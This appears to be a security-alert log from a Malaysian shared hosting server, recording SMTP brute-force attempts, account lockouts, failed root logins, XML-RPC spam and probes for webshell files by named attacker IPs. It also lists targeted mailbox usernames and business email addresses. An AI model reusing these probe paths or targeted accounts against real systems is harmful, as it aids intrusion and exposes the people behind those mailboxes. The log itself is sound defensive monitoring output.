plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:43:26 dovecot_login authenticator failed for H=(E01slOZWgS) [185.230.124.69]:53301: 535 Incorrect authentication data (set_id=finance@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 04:43:30 dovecot_login authenticator failed for H=(qK0l96tN) [178.16.54.22]:53377: 535 Incorrect authentication data (set_id=paul.wong)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 04:43:03 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account enquiry@ms-chemicals.net has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:43:05 dovecot_login authenticator failed for H=(m0W1WE) [185.230.124.69]:49361: 535 Incorrect authentication data (set_id=enquiry@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:44:00 dovecot_login authenticator failed for H=(WXELCsOqS) [185.230.124.69]:52115: 535 Incorrect authentication data (set_id=ernest)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 04:44:13 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account enquiry@ms-chemicals.net has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 04:44:21 dovecot_login authenticator failed for H=(ulXxEBM) [178.16.54.22]:52377: 535 Incorrect authentication data (set_id=mustapa)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 04:45:16 dovecot_login authenticator failed for H=(InNrZqPuu) [178.16.54.22]:63750: 535 Incorrect authentication data (set_id=paul.wong)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.137.160
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/images/home/esg.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 114.98.63.18
country_id: 1814991
description:
2026-01-31 04:45:46 dovecot_login authenticator failed for H=([114.98.63.18]) [114.98.63.18]:38282: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:45:15 dovecot_login authenticator failed for H=(HMSBtGeCrz) [185.230.124.69]:53247: 535 Incorrect authentication data (set_id=finance@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:45:03 dovecot_login authenticator failed for H=(eJB8XE) [185.230.124.69]:63599: 535 Incorrect authentication data (set_id=ernest)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 149.102.251.21
country_id: 3469034
description:
[2026-01-31 04:45:22 +0800] info [webmaild] 149.102.251.21 - payment@tujusetia.my "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 179.181.133.153
country_id: 3469034
description:
2026-01-31 04:45:36 dovecot_login authenticator failed for H=([179.181.133.153]) [179.181.133.153]:57775: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 04:45:01 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account ernest has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 04:46:07 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account finance@vc-b.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 04:46:10 dovecot_login authenticator failed for H=(621dVi) [178.16.54.22]:51723: 535 Incorrect authentication data (set_id=mustapa)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.109.58
country_id: 1668284
description:
2026-01-31 04:46:46 dovecot_login authenticator failed for H=110-25-109-58.adsl.fetnet.net [110.25.109.58]:37805: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:46:09 dovecot_login authenticator failed for H=(fULhLyrIq) [185.230.124.69]:61620: 535 Incorrect authentication data (set_id=finance@vc-b.com.my)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 45.163.246.249
country_id: 3469034
domain: u-net.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:30242.u-net.com.my||ServerName:u-net.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:ba414ce25f6830dc6815a3eb05822bfcaa150b21||Title:0x0a771642||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:47:06 dovecot_login authenticator failed for H=(xbNfkwj) [185.230.124.69]:61343: 535 Incorrect authentication data (set_id=finance@vc-b.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:47:12 dovecot_login authenticator failed for H=(j6y5CG) [185.230.124.69]:61381: 535 Incorrect authentication data (set_id=ernest@eminent.st)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 04:47:04 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account finance@vc-b.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.211.84.153
country_id: 1814991
description:
2026-01-31 04:47:07 dovecot_login authenticator failed for H=([171.211.123.106]) [171.211.84.153]:41610: 535 Incorrect authentication data (set_id=ysl)


plugin: modsec
rule: 77141095
name: IM360 WAF: Track spam in PrestaShop
abuser: 37.19.223.237
country_id: 2782113
domain: visoft.com.my
description:
IM360 WAF: Track spam in PrestaShop||RSV:7.71||T:APACHE||MVN:REQUEST_FILENAME||MV:/contact-from.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 04:47:01 dovecot_login authenticator failed for H=(HXiBHiKp) [178.16.54.22]:55052: 535 Incorrect authentication data (set_id=mustapa)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 04:48:03 dovecot_login authenticator failed for H=(gruZOJi) [178.16.54.22]:62090: 535 Incorrect authentication data (set_id=mustapa)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:48:11 dovecot_login authenticator failed for H=(7lGiyfwLr) [185.230.124.69]:52660: 535 Incorrect authentication data (set_id=finance@vc-b.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 04:48:09 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account finance@vc-b.com.my has been locked for the attacker IP 185.230.124.69


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 165.99.40.161
country_id: 1168579
domain: u-net.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:55926.u-net.com.my||ServerName:u-net.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:30a127deeac57809cbcd552aa74856fa21787a7e||Title:0xf797515b||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:49:28 dovecot_login authenticator failed for H=(ikK0LjAYMT) [185.230.124.69]:56581: 535 Incorrect authentication data (set_id=finance@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.151.67
country_id: 1733045
description:
2026-01-31 04:49:51 dovecot_login authenticator failed for H=([49.124.151.67]) [49.124.151.67]:39746: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.18.99.38
country_id: 1269750
description:
2026-01-31 04:49:58 dovecot_login authenticator failed for H=([125.18.99.38]) [125.18.99.38]:57840: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 04:49:01 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account finance@vc-b.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:49:03 dovecot_login authenticator failed for H=(r8gaR4i4RQ) [185.230.124.69]:61124: 535 Incorrect authentication data (set_id=finance@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 04:49:23 dovecot_login authenticator failed for H=(WvvvqLPmlP) [178.16.54.22]:60042: 535 Incorrect authentication data (set_id=mustapa)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.231.202.201
country_id: 51537
description:
2026-01-31 04:49:44 dovecot_login authenticator failed for H=([197.231.202.201]) [197.231.202.201]:47189: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 51.120.69.143
country_id: 3144096
domain: oxbold.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/assets/images/index.php||SC:/home/oxboldc/public_html/assets/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 38.141.252.55
country_id: 6252001
description:
2026-01-31 04:50:06 dovecot_login authenticator failed for H=([38.141.252.55]) [38.141.252.55]:60636: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 04:50:20 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account enquiry@ms-chemicals.net has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:50:20 dovecot_login authenticator failed for H=(MYAyKdSF4X) [185.230.124.69]:59651: 535 Incorrect authentication data (set_id=finance@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 04:50:08 dovecot_login authenticator failed for H=(76aKe4TR) [178.16.54.22]:49876: 535 Incorrect authentication data (set_id=mustapa)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 47.135.160.94
country_id: 6252001
description:
[2026-01-31 04:50:31 +0800] info [whostmgrd] 47.135.160.94 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 51.120.69.143
country_id: 3144096
domain: oxbold.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/file.php||SC:/home/oxboldc/public_html/wp-admin||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 04:51:26 dovecot_login authenticator failed for H=(B7nYaydF) [178.16.54.22]:54132: 535 Incorrect authentication data (set_id=mustapa)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:51:25 dovecot_login authenticator failed for H=(E0JPuDfeGE) [185.230.124.69]:60116: 535 Incorrect authentication data (set_id=finance@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:51:07 dovecot_login authenticator failed for H=(Y0c0ZwAdZ9) [185.230.124.69]:61914: 535 Incorrect authentication data (set_id=enquiry@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 219.144.50.202
country_id: 1814991
description:
2026-01-31 04:51:12 dovecot_login authenticator failed for H=([219.144.50.202]) [219.144.50.202]:40007: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.61.48.234
country_id: 1835841
description:
2026-01-31 04:51:22 dovecot_login authenticator failed for H=([125.61.36.27]) [125.61.48.234]:60418: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 04:51:05 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account enquiry@ms-chemicals.net has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 04:52:17 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account ernest@eminent.st has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 04:52:24 dovecot_login authenticator failed for H=(aPzfZsZkr) [178.16.54.22]:56033: 535 Incorrect authentication data (set_id=mustapa)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:52:15 dovecot_login authenticator failed for H=(cF3sGW) [185.230.124.69]:51591: 535 Incorrect authentication data (set_id=finance@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 04:53:01 dovecot_login authenticator failed for H=(2g1AJy4ht) [178.16.54.22]:59245: 535 Incorrect authentication data (set_id=paul.wong)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 04:53:09 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account ernest@eminent.st has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:53:06 dovecot_login authenticator failed for H=(xbFlXddBOC) [185.230.124.69]:53088: 535 Incorrect authentication data (set_id=finance@vc-b.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:53:11 dovecot_login authenticator failed for H=(f2lDYyFQ) [185.230.124.69]:50582: 535 Incorrect authentication data (set_id=ernest@eminent.st)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:54:03 dovecot_login authenticator failed for H=(8165Ui) [185.230.124.69]:51983: 535 Incorrect authentication data (set_id=ernest@eminent.st)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.161.150
country_id: 1269750
description:
2026-01-31 04:54:16 dovecot_login authenticator failed for H=(nsg-corporate-25.230.186.122.airtel.in) [125.19.161.150]:42308: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.58.3.26
country_id: 6252001
description:
[2026-01-31 04:54:24 +0800] info [whostmgrd] 172.58.3.26 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 177.128.209.48
country_id: 3469034
description:
2026-01-31 04:54:56 dovecot_login authenticator failed for H=(138.219.244.10.static.softdados.net) [177.128.209.48]:60164: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 04:54:01 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account ernest@eminent.st has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 04:54:08 dovecot_login authenticator failed for H=(VHSv9I8oil) [178.16.54.22]:54118: 535 Incorrect authentication data (set_id=mustapa)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.49.217.205
country_id: 1814991
description:
2026-01-31 04:54:40 dovecot_login authenticator failed for H=([112.49.217.205]) [112.49.217.205]:60542: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.97.170.54
country_id: 3144096
description:
2026-01-31 04:54:23 dovecot_login authenticator failed for H=(54-170-97-62.cust.smartcall.no) [62.97.170.54]:36332: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.46.69.211
country_id: 3865483
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/teletech-at-home-employee-reviews HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.46.69.211
country_id: 3865483
domain: tujusetia.myhttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.myhttp/tujusetia.my/teletech-at-home-employee-reviews HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 04:55:01 dovecot_login authenticator failed for H=(LAMk5El) [178.16.54.22]:53277: 535 Incorrect authentication data (set_id=paul.wong)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 04:55:07 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account finance@vc-b.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 217.78.16.88
country_id: 2661886
description:
2026-01-31 04:55:27 dovecot_login authenticator failed for H=a088.broadband.quicknet.se [217.78.16.88]:56122: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:55:09 dovecot_login authenticator failed for H=(F5Sw7uwe) [185.230.124.69]:57808: 535 Incorrect authentication data (set_id=finance@vc-b.com.my)


plugin: modsec
rule: 77350582
name: IM360 WAF: Bytedancewebview detected
abuser: 140.179.148.12
country_id: 1814991
domain: www.box.com.my
description:
IM360 WAF: Bytedancewebview detected||UA:Mozilla/5.0 (Linux; Android 10; HD1900 Build/QKQ1.190716.003; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/75.0.3770.156 Mobile Safari/537.36  aweme_230400 JsSdk/1.0 NetType/WIFI  AppName/aweme app_version/23.4.0 ByteLocale/zh-CN Region/CN AppSkin/white AppTheme/light BytedanceWebview/d8a21c6 WebView/075113004008||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 156.146.39.199
country_id: 6252001
description:
2026-01-31 04:55:34 dovecot_login authenticator failed for H=(ADMIN) [156.146.39.199]:32798: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.213.98
country_id: 1269750
description:
2026-01-31 04:55:38 dovecot_login authenticator failed for H=([128.185.241.123]) [152.52.213.98]:58198: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:55:07 dovecot_login authenticator failed for H=(4u8t6TKw) [185.230.124.69]:62671: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:56:03 dovecot_login authenticator failed for H=(ibDpzIOTG) [185.230.124.69]:65446: 535 Incorrect authentication data (set_id=ernest@eminent.st)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 04:56:08 dovecot_login authenticator failed for H=(C1yEVPwn3) [178.16.54.22]:63010: 535 Incorrect authentication data (set_id=paul.wong)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 04:56:23 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account finance@vc-b.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.183.98
country_id: 1269750
description:
2026-01-31 04:56:46 dovecot_login authenticator failed for H=([125.23.183.98]) [125.23.183.98]:52496: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/images/team.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.13.214.18
country_id: 1814991
description:
2026-01-31 04:56:31 dovecot_login authenticator failed for H=([218.13.214.18]) [218.13.214.18]:55290: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.176.126
country_id: 1269750
description:
2026-01-31 04:57:52 dovecot_login authenticator failed for H=(nsg-corporate-126.176.185.122.airtel.in) [122.185.176.126]:44036: 535 Incorrect authentication data (set_id=aziz)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 108.30.14.221
country_id: 6252001
description:
2026-01-31 04:57:07 dovecot_login authenticator failed for H=pool-108-30-14-221.nycmny.fios.verizon.net [108.30.14.221]:56002: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:57:20 dovecot_login authenticator failed for H=(EMQ2UXz3k) [185.230.124.69]:58778: 535 Incorrect authentication data (set_id=ernest@eminent.st)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 88.11.39.245
country_id: 2510769
description:
2026-01-31 04:57:28 dovecot_login authenticator failed for H=245.red-88-11-39.dynamicip.rima-tde.net [88.11.39.245]:57124: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 04:57:07 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account finance@vc-b.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:57:09 dovecot_login authenticator failed for H=(oYrpfEYIU) [185.230.124.69]:52021: 535 Incorrect authentication data (set_id=finance@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 140.249.20.14
country_id: 1814991
description:
2026-01-31 04:57:30 dovecot_login authenticator failed for H=([140.249.20.14]) [140.249.20.14]:35649: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 04:57:32 dovecot_login authenticator failed for H=(tfcJc9AM) [178.16.54.22]:61676: 535 Incorrect authentication data (set_id=mustapa)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 174.169.224.27
country_id: 6252001
description:
2026-01-31 04:58:19 dovecot_plain authenticator failed for H=c-174-169-224-27.hsd1.vt.comcast.net (pillhemed) [174.169.224.27]:57994: 535 Incorrect authentication data (set_id=takao-nakashima@mckd.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 04:58:23 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account enquiry has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 04:58:07 dovecot_login authenticator failed for H=(f7XHHYC) [178.16.54.22]:64198: 535 Incorrect authentication data (set_id=mustapa)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:58:10 dovecot_login authenticator failed for H=(A1TBP7X) [185.230.124.69]:50102: 535 Incorrect authentication data (set_id=ernest@eminent.st)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.173.138.250
country_id: 1814991
description:
2026-01-31 04:58:40 dovecot_login authenticator failed for H=([222.173.138.250]) [222.173.138.250]:50560: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:58:54 dovecot_login authenticator failed for H=(INGyHK) [185.230.124.69]:57641: 535 Incorrect authentication data (set_id=ernest@eminent.st)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.122.220.228
country_id: 3865483
domain: tujusetia.myhttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.myhttp/tujusetia.my/2016/04/04/admission-application-and-academic-essays-7/ HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 04:58:23 dovecot_login authenticator failed for H=(OakrXDtT) [178.16.54.138]:53751: 535 Incorrect authentication data (set_id=kywong.fpp@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.175.75
country_id: 99237
description:
2026-01-31 04:58:29 dovecot_login authenticator failed for H=([65.20.175.75]) [65.20.175.75]:38485: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.122.220.228
country_id: 3865483
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/2016/04/04/admission-application-and-academic-essays-7/ HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 04:59:13 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account enquiry has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:59:03 dovecot_login authenticator failed for H=(OlhdXB8IhV) [185.230.124.69]:55664: 535 Incorrect authentication data (set_id=finance@vc-b.com.my)


plugin: modsec
rule: 77142167
name: IM360 WAF: Block URI containing malicious URLs
abuser: 142.111.72.239
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block URI containing malicious URLs||RSV:7.71||T:APACHE||MVN:ARGS:url||SC:/home2/agsaintifik/public_html/wp-comments-post.php||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 47.16.171.138
country_id: 6252001
description:
[2026-01-31 05:00:32 +0800] info [whostmgrd] 47.16.171.138 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
